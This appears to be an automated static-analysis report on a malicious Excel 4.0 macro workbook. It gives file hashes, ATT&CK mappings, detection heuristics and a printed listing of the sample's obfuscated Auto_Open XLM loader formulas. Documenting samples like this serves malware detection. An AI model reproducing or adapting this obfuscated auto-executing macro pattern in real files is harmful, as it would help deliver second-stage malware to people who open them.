Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93e2e70e1537d7d6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:37:19 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: e5285563d2f8368ad47055fbb2e210e2 SHA-1: 4e4e9e4fe8ff3f7c7a2f119f384255b32b7f8d00 SHA-256: 93e2e70e1537d7d6adb00a9b05c63c7d3db57474429edf4d145dd0eafce65621
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open function, which is a known method for executing malicious code upon opening the workbook. The critical heuristics indicate the presence of dangerous formula APIs, specifically the RUN function, suggesting the macro is designed to execute arbitrary commands. No URLs or specific payloads were extracted, but the intent is clearly to download and execute a second-stage payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6623 bytes
SHA-256: ca26280dd24e39bbad692b77f9c47490b3e3dc19a63880c09b883d66a1c39485
Detection
ClamAV: No threats found
Obfuscation or payload: likely
18 of 36 identifiers look randomly generated (e.g. 'hSHlwzWEBrCQ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kBxVlHWCeCf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A198 
' 0018     22 LABEL : Cell Value, String Constant - BgafPFx len=0 
' 0018     20 LABEL : Cell Value, String Constant - BuGwk len=0 
' 0018     24 LABEL : Cell Value, String Constant - cqBcwcRNB len=0 
' 0018     26 LABEL : Cell Value, String Constant - CVazqLJCTqQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - DcKuwqhmxDZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - DRmDbAItqBK len=0 
' 0018     22 LABEL : Cell Value, String Constant - dSaYNMS len=0 
' 0018     26 LABEL : Cell Value, String Constant - eDdKwufxALC len=0 
' 0018     23 LABEL : Cell Value, String Constant - EMrATfyF len=0 
' 0018     27 LABEL : Cell Value, String Constant - hSHlwzWEBrCQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - lkmGr len=0 
' 0018     20 LABEL : Cell Value, String Constant - LMRBo len=0 
' 0018     22 LABEL : Cell Value, String Constant - nbnFobd len=0 
' 0018     21 LABEL : Cell Value, String Constant - NTzKVE len=0 
' 0018     23 LABEL : Cell Value, String Constant - OwyzClmZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - rFSobGzPHQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - SwJay len=0 
' 0018     20 LABEL : Cell Value, String Constant - TPuUK len=0 
' 0018     23 LABEL : Cell Value, String Constant - TtOzPGnq len=0 
' 0018     21 LABEL : Cell Value, String Constant - XBCCnb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kBxVlHWCeCf,A101,"SET.NAME("eDdKwufxALC",VALUE("0"))",""
'  kBxVlHWCeCf,A106,"SET.NAME("TPuUK",eDdKwufxALC)",""
'  kBxVlHWCeCf,A111,"SET.NAME("rFSobGzPHQ",eDdKwufxALC)",""
'  kBxVlHWCeCf,A113,"SET.NAME("SwJay",COUNTA(lkmGr))",""
'  kBxVlHWCeCf,A118,"SET.NAME("nbnFobd",COUNTA(BuGwk))",""
'  kBxVlHWCeCf,A123,[],""
'  kBxVlHWCeCf,A127,"SET.NAME("hSHlwzWEBrCQ","")",""
'  kBxVlHWCeCf,A132,"TPuUK",""
'  kBxVlHWCeCf,A136,"SET.NAME("XBCCnb",HLOOKUP("*",lkmGr,TPuUK,FALSE))",""
'  kBxVlHWCeCf,A139,"NTzKVE",""
'  kBxVlHWCeCf,A143,"SET.NAME("cqBcwcRNB",eDdKwufxALC)",""
'  kBxVlHWCeCf,A148,[],""
'  kBxVlHWCeCf,A153,"cqBcwcRNB",""
'  kBxVlHWCeCf,A156,"DcKuwqhmxDZ",""
'  kBxVlHWCeCf,A159,"CVazqLJCTqQ",""
'  kBxVlHWCeCf,A161,"DRmDbAItqBK",""
'  kBxVlHWCeCf,A165,"SET.NAME("EMrATfyF",VALUE(HLOOKUP("*",BuGwk,DRmDbAItqBK,FALSE)))",""
'  kBxVlHWCeCf,A169,"LMRBo",""
'  kBxVlHWCeCf,A171,"hSHlwzWEBrCQ",""
'  kBxVlHWCeCf,A176,"rFSobGzPHQ",""
'  kBxVlHWCeCf,A179,NEXT(),""
'  kBxVlHWCeCf,A181,"dSaYNMS",""
'  kBxVlHWCeCf,A183,"SET.NAME("f",INT(T(FORMULA(T(hSHlwzWEBrCQ)&"",""&T(dSaYNMS)))))",""
'  kBxVlHWCeCf,A187,"BgafPFx",""
'  kBxVlHWCeCf,A192,NEXT(),""
'  kBxVlHWCeCf,A195,RETURN(),""
'  kBxVlHWCeCf,A224,"SET.NAME("OwyzClmZ",A101)",""
'  kBxVlHWCeCf,A226,"lkmGr",""
'  kBxVlHWCeCf,A228,"SET.NAME("BuGwk",R82C12)",""
'  kBxVlHWCeCf,A232,"SET.NAME("BgafPFx",239)",""
'  kBxVlHWCeCf,A235,"SET.NAME("TtOzPGnq",1)",""
'  kBxVlHWCeCf,A238,OwyzClmZ(),""
'  kBxVlHWCeCf,A239,HALT(),""